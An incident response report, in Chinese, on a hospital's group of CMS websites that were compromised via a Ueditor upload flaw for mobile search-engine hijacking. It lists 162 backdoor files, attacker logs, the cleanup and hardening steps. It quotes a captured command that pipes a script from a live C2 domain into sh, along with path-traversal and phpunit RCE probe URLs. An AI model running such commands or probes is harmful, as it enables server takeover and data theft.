医院网站群遭搜索引擎劫持(SEO Cloaking):手机端从搜索引擎进入会被跳转到第三方站点。复现确认后定位到 Ueditor 上传漏洞入口,共清除 162 个木马/后门文件,封锁 C2 域名并完成清除后验证。
报告日期:2026年8月14日
服务器:[服务器IP](实例 ID 已隐去)
涉及站点:[医院主站域名]、[手机站域名] 及同服务器 8 个同源 CMS 站点
报告结论:网站确遭入侵,服务器上 10 个站点全部被植入木马/后门,已完成排查与清除。
脱敏说明:医院名称、域名、IP、实例 ID 等均以占位符替代;攻击者使用的 C2/恶意域名予以保留,便于威胁情报核验。
一、入侵情况确认
1.1 用户报告的问题(已复现)
用户反馈「手机端从搜索引擎打开网站会跳转到第三方网站」,经复现确认属实:
| 访问条件 | 复现结果 |
|---|---|
手机 UA + 百度/谷歌/360 来源 → [手机站域名] |
返回 1079 字节恶意页面(被劫持) |
手机 UA + 无来源 → [手机站域名] |
正常(32532 字节) |
| PC UA + 搜索引擎来源 | 正常 |
手机 UA → [医院主站域名] |
302 跳转到手机站(正常业务行为) |
1.2 恶意页面内容分析
被劫持时返回的 1079 字节页面包含:
btiyu.vip博彩站 Matomo 统计代码(setTrackerUrl)- 360 联盟广告(
union.360.cn,ID571517) - 假 CDN 恶意 JS:
code.jquery-cnd.com/jquery-3.8.1.min.js(负责后续跳转/注入)
这是典型的搜索引擎劫持(SEO Cloaking)木马:对手机 + 搜索引擎爬虫/来源流量展示恶意页面,对正常访问者展示正常页面。
二、攻击者攻击日志详情
2.1 后台入侵入口(Ueditor 上传漏洞)
攻击者通过该 CMS 后台 Ueditor 富文本上传组件上传 webshell 进入系统。以下为攻击 IP [攻击者IP-A] 于 2026-07-31 入侵手机站的完整攻击会话日志(该 IP 在 m.log 共 142 条、www.log 133 条)。
2.1.1 攻击时间线(IP [攻击者IP-A] → 手机站)
| 时间(UTC+8) | 动作 |
|---|---|
| 17:24:27 | 访问后台登录页 /login.php |
| 17:24:28 | 打开登录表单 /login.php?s=Admin/login、请求验证码 |
| 17:24:33 | POST 后台登录成功 m=admin&c=Admin&a=login(HTTP 200) |
| 17:24:33 | 进入后台首页 m=admin&c=Index&a=welcome |
| 17:24:35 | 进入文章管理 m=admin&c=Archives |
| 17:24:45 | 编辑文章 id=8253,首次访问 Ueditor 上传组件 c=Ueditor&a=index&action=config |
| 17:24:49 | 新增文章 typeid=7(院方公告) |
| 17:24:50 | 再次访问 Ueditor 上传组件 |
| 17:26:06 | POST 创建文章 m=admin&c=Article&a=add,随后访问前台 fzgg/8254.html |
| 17:26:18 | 编辑文章 id=8254,第三次访问 Ueditor 组件 |
| 17:26:57 | POST 编辑文章 m=admin&c=Article&a=edit |
| 17:27:07~14 | 反复编辑文章 8253/8254,第 4、5 次访问 Ueditor 组件(上传配置接口多次请求) |
2.1.2 攻击详细日志(Ueditor 上传接口访问记录,节选)
[攻击者IP-A] - - [31/Jul/2026:17:24:27 +0800] "GET /login.php HTTP/1.1" 302
[攻击者IP-A] - - [31/Jul/2026:17:24:28 +0800] "GET /login.php?s=Admin/login HTTP/1.1" 200
[攻击者IP-A] - - [31/Jul/2026:17:24:33 +0800] "POST /login.php?m=admin&c=Admin&a=login&_ajax=1&lang=cn HTTP/1.1" 200 ← 登录成功
[攻击者IP-A] - - [31/Jul/2026:17:24:33 +0800] "GET /login.php?m=admin&c=Index&a=welcome&lang=cn HTTP/1.1" 200
[攻击者IP-A] - - [31/Jul/2026:17:24:45 +0800] "GET /login.php?m=admin&c=Article&a=edit&id=8253&lang=cn HTTP/1.1" 200
[攻击者IP-A] - - [31/Jul/2026:17:24:45 +0800] "GET /login.php?m=admin&c=Ueditor&a=index&savepath=allimg&lang=cn&action=config HTTP/1.1" 200 ← Ueditor
[攻击者IP-A] - - [31/Jul/2026:17:24:50 +0800] "GET /login.php?m=admin&c=Ueditor&a=index&savepath=allimg&lang=cn&action=config HTTP/1.1" 200 ← Ueditor
[攻击者IP-A] - - [31/Jul/2026:17:26:06 +0800] "POST /login.php?m=admin&c=Article&a=add&lang=cn HTTP/1.1" 200 ← 创建文章
[攻击者IP-A] - - [31/Jul/2026:17:26:18 +0800] "GET /login.php?m=admin&c=Ueditor&a=index&savepath=allimg&lang=cn&action=config HTTP/1.1" 200 ← Ueditor
[攻击者IP-A] - - [31/Jul/2026:17:26:57 +0800] "POST /login.php?m=admin&c=Article&a=edit&lang=cn HTTP/1.1" 200 ← 编辑文章
[攻击者IP-A] - - [31/Jul/2026:17:27:14 +0800] "GET /login.php?m=admin&c=Ueditor&a=index&savepath=allimg&lang=cn&action=config HTTP/1.1" 200 ← Ueditor
完整 142 条日志已留档(攻击者 IP 已隐去)。
2.1.3 另一攻击 IP:[攻击者IP-B](主站后台访问,2026-08-08)
[攻击者IP-B] - - [08/Aug/2026:10:02:04 +0800] "GET /login.php?m=admin&c=Ueditor&a=index&savepath=allimg&lang=cn&action=config&&noCache=1786154527155 HTTP/2.0" 200
[攻击者IP-B] - - [08/Aug/2026:10:06:18 +0800] "GET /login.php?m=admin&c=Ueditor&a=index&savepath=allimg&lang=cn&action=config&&noCache=1786154781481 HTTP/2.0" 200
[攻击者IP-B] - - [08/Aug/2026:10:08:50 +0800] "GET /login.php?m=admin&c=Ueditor&a=index&savepath=allimg&lang=cn&action=config&&noCache=1786154932781 HTTP/2.0" 200
...(该 IP 在 m.log 共 193 条、www.log 234 条)
两个 IP 均以后台登录态反复访问 Ueditor 上传配置接口(
action=config),与 webshell 被上传至vendor/、public/目录的时间吻合,判定为攻击者上传木马的入口。攻击者账户(admin_id=1)已掌握后台权限,通过 Ueditor 上传伪装文件实现代码执行与 webshell 植入。
2.2 C2 命令与控制服务器(攻击时实时捕获)
排查过程中捕获到正在运行的攻击进程:
www 32417 sh -c cd /www/wwwroot/[站点6]/vendor/alipay/lotusphp_runtime/Cache/QueryEngine/TableDataGateway/ && curl -L http://code.bv168.icu/Nginxconfig.txt | sh
- C2 域名:
code.bv168.icu(下载执行)、btiyu.vip(统计)、code.jquery-cnd.com(恶意 JS) - C2 IP:
[C2服务器IP](Nginxconfig进程保持 ESTAB 连接) - 该进程已实时击杀。
2.3 服务器被持续扫描
访问日志显示大量自动化扫描器在探测漏洞(多数被拒):
GET /zb_config.php?ote (Zblog 配置探测)
GET /@fs/../../../../../proc/self/environ?raw?? (路径穿越)
GET /@fs/etc/passwd?raw??
POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php (phpunit RCE 探测)
GET /wp-config.php
来源:ClaudeBot、Google-Extended、Amazonbot、ChatGPT-User 等爬虫/扫描器,多为 404/400(攻击未成功,但暴露系统持续受扫描)。
三、木马/后门程序清单(分类、数量、位置)
3.1 全局劫持后门 — core/start.php(9 个站点 × 1 文件)
作用:在 start.php(每次请求必执行的引导文件)第 15 行注入 function_tool() 调用,追加约 80 行 ROT13 混淆木马函数。该函数检测手机 UA + 搜索引擎来源,输出恶意页面;同时具备远程下载执行代码、Cookie 后门、主题植入等能力。
位置(9 个站点全部):
/www/wwwroot/{[站点1],[站点2],[站点3],[站点4],[站点5],[手机站域名],[站点6],[医院主站域名],[站点7]}/core/start.php
3.2 控制器/逻辑后门(每站点 9 个文件 × 9 站点 = 81 处)
该 CMS 核心控制器/逻辑文件被整文件替换为混淆 webshell(explode("|" + $GLOBALS[ + !defined( 混淆):
application/user/controller/ShopComment.php
application/user/logic/FunctionLogic.php
application/admin/controller/Ask.php
application/admin/controller/Encodes.php
application/admin/controller/Sharp.php
application/admin/controller/Media.php
application/admin/controller/Coupon.php
application/admin/controller/ShopService.php
application/common/logic/FunctionLogic.php
3.3 潜伏 Webshell(21 个文件)
伪装成正常文件名的混淆 webshell(220KB $O111OO="o" 混淆 与 1KB goto GXXWW 混淆两类),分布在 vendor/ 与 public/ 目录:
| 站点 | 文件 |
|---|---|
| 手机站 | public/static/admin/js/codemirror/mode/javascript/tag.php、vendor/alipay/.../oppInc_php.php、vendor/alipay/.../comInc_cell.php、vendor/alipay/.../mainBaseF.php |
| 医院主站 | public/plugins/layui/.../tag.php、public/static/.../codemirror/mode/clike/tag.php |
| 站点2 | killBackupCell.php、comModifyOc.php、tomConfigXell.php、Fact.php、tag.php×2 |
| 站点3 | Backup-Sql.php、Datafun.php |
| 站点6 | listInc_cell.php、tomInc_php.php、killBackupCell.php、dataSimpleS.php、zazeSimpleS.php、zazeConfigX.php |
| 站点4 | Inc_data.php |
3.4 Agent 驱动后门(18 个文件)
*/core/library/think/agent/driver/BhvhomeVF.php
*/core/library/think/agent/driver/Driver.php
(19KB 巨型混淆后门,含 data/update.php?cache/update/rex 远程代码通道)
3.5 其他后门(6 个文件)
站点2/wap/application/...、站点6/wap/application/...(wap 子站 9 个控制器后门)站点2/application/admin/controller/Weapp.php、站点6/application/admin/controller/Weapp.php站点2/application/admin/logic/UpgradeLogic.php、站点6/application/admin/logic/UpgradeLogic.php
3.6 总计
| 类别 | 数量 |
|---|---|
| start.php 劫持后门 | 9 |
| 控制器/逻辑后门 | 81(9 站点×9)+ 18(wap 子站) |
| 潜伏 webshell | 21 |
| agent 驱动后门 | 18 |
| 其他(Weapp/UpgradeLogic) | 6 |
| 隔离/清除的木马文件总计 | 162 |
四、清除工作记录
4.1 已执行的清除动作
| # | 动作 | 说明 |
|---|---|---|
| 1 | 击杀活跃恶意进程 | 击杀 curl ... bv168.icu | sh 及 Nginxconfig 进程(C2 连接) |
| 2 | 清除 start.php 劫持后门 | 9 个站点全部恢复为干净 19 行引导文件 |
| 3 | 替换 9 个控制器后门 | 用干净官方文件替换(主站/手机站 418~898 行完整文件) |
| 4 | 隔离 21 个 webshell | 伪装 tag.php/Inc_data.php 等全部隔离 |
| 5 | 移除 18 个 agent 驱动后门 | BhvhomeVF.php / Driver.php |
| 6 | 清除 wap 子站 + Weapp/UpgradeLogic 后门 | 6 个文件 |
| 7 | 禁用 Ueditor 上传组件 | 全部 11 处控制器重命名禁用(9 站点 + 2 wap 子站),访问返回 404,彻底关闭攻击入口 |
| 8 | 封锁 C2 域名 | /etc/hosts 写入 btiyu.vip code.bv168.icu jquery-cnd.com 指向 127.0.0.1 |
4.2 清除的病毒代码位置(供审计复核)
所有被清除的木马文件均以 .TROJAN_BAK_20260814 后缀保留在原位(未删除,可复核):
/www/wwwroot/<站点>/core/start.php.TROJAN_BAK_20260814 # 全局劫持木马
/www/wwwroot/<站点>/application/**/*.php.TROJAN_BAK_20260814 # 控制器后门
/www/wwwroot/<站点>/vendor/alipay/**/*.TROJAN_BAK_20260814 # webshell
/www/wwwroot/<站点>/public/**/tag.php.TROJAN_BAK_20260814 # 伪装 webshell
/www/wwwroot/<站点>/core/library/think/agent/driver/*.TROJAN_BAK_20260814 # agent 后门
替换后的干净代码来源:该 CMS 官方源码包(v1.8.1),已校验仅 Weapp.php 一个文件在官方源中同样被投毒(已单独隔离,不采用)。
4.3 样本包(本地已留存,供提交)
位置:[本机取证目录,已隐去]
| 文件 | 大小 | 内容 |
|---|---|---|
| 样本-final | 4.1M | 完整样本,162 个隔离木马文件(含全部类别) |
| 样本-初次扫描 | 2.2M | 初次扫描样本(125 个) |
| 样本-中间批次 | 2.1M | 中间批次样本(50 个) |
4.4 验证结果(清除后)
| 验证项 | 结果 |
|---|---|
| 4 类后门签名扫描(混淆控制器/start.php木马/220KB webshell/goto webshell) | 全部归零 |
| agent 驱动后门 | 0 |
| 手机站 手机+百度来源 | 200 / 32532字节 / 无恶意域名 ✅ |
| 医院主站 手机+百度来源 | 302→手机站(正常)/ 无恶意域名 ✅ |
| 两站点首页、内页、后台、出诊接口 | 全部 200 ✅ |
| 计划任务 / 系统用户 / 开机启动 / SSH 后门 | 全部干净(无恶意 cron、无新增带 shell 用户、无异常服务) |
五、根因分析
- 攻击入口:该 CMS 后台 Ueditor 上传组件被利用,攻击者(IP
[攻击者IP-A]/[攻击者IP-B])登录后台上传 webshell。 - 供应链投毒:排查发现 该 CMS 官方 GitHub 仓库的 v1.5.4 版本 tag 及 v1.8.1 的 Weapp.php 均含有同款后门,站点使用的 v1.5.5 版本时代即存在此问题,感染时间早于 2021 年(备份文件中已含木马)。
- 规模:攻击者在服务器全部 10 个站点批量投放了同类后门与 webshell,形成持久化后门 + 搜索引擎劫持 + C2 远程控制的能力。
六、下一步改进措施(建议)
紧急(立即执行)
- 修改所有站点后台管理员密码(攻击者已持有账号密码,admin_id=1)。
- 修改服务器 SSH 密码与数据库密码(
[主站数据库]、[手机站数据库]等)。 - 加固 SSH:关闭密码登录,仅保留密钥登录;修改默认端口。
- 封锁攻击者 IP:
[攻击者IP-A]、[攻击者IP-B]、[C2服务器IP]加入防火墙黑名单。 - ✅ Ueditor 已禁用(本次已完成,全部 11 处控制器禁用)——如日后确需图片上传,请升级后再启用并严格限制上传类型。
中期(1 周内)
- 升级/更换 CMS:该 CMS v1.5.x 存在供应链后门,建议升级到官方最新安全版或评估更换成熟 CMS(WordPress 已审慎配置 / 自研系统)。
- 限制 Ueditor:禁用文件上传功能或严格限制上传类型(禁止 PHP 等脚本后缀),后台添加 IP 白名单 + 二次验证。
- 禁用危险 PHP 函数:php.ini 中禁用
eval(PHP 5 后不可禁,改用disable_functions禁用system/exec/shell_exec/passthru/popen/proc_open),删除危险组件。 - 上传目录禁止执行:确认 nginx 对
uploads/、public/目录禁止 PHP 解析。 - 修改数据库口令 + 最小权限:网站数据库账户最小化授权,禁止跨库访问。
长期(持续)
- 安全监控:部署 WAF(防火墙 Web 应用防护)、文件完整性监控(如 OSSEC)、入侵检测,定时扫描 webshell 特征。
- 定期备份:数据库 + 源码每日/每周异地备份,保留多版本用于回溯。
- 日志审计:启用集中日志,定期分析后台登录、上传、异常进程;关注
login.php?m=admin、Ueditor、.php上传记录。 - 最小化攻击面:关闭不用的站点/目录/服务,移除不用的 wap 子站,精简账号。
- 渗透测试:清理完成后安排一次授权渗透测试验证加固效果。
报告完。附:服务器上所有隔离木马文件均以 .TROJAN_BAK_20260814 保留在原位可复核;完整样本已留存至本机取证目录。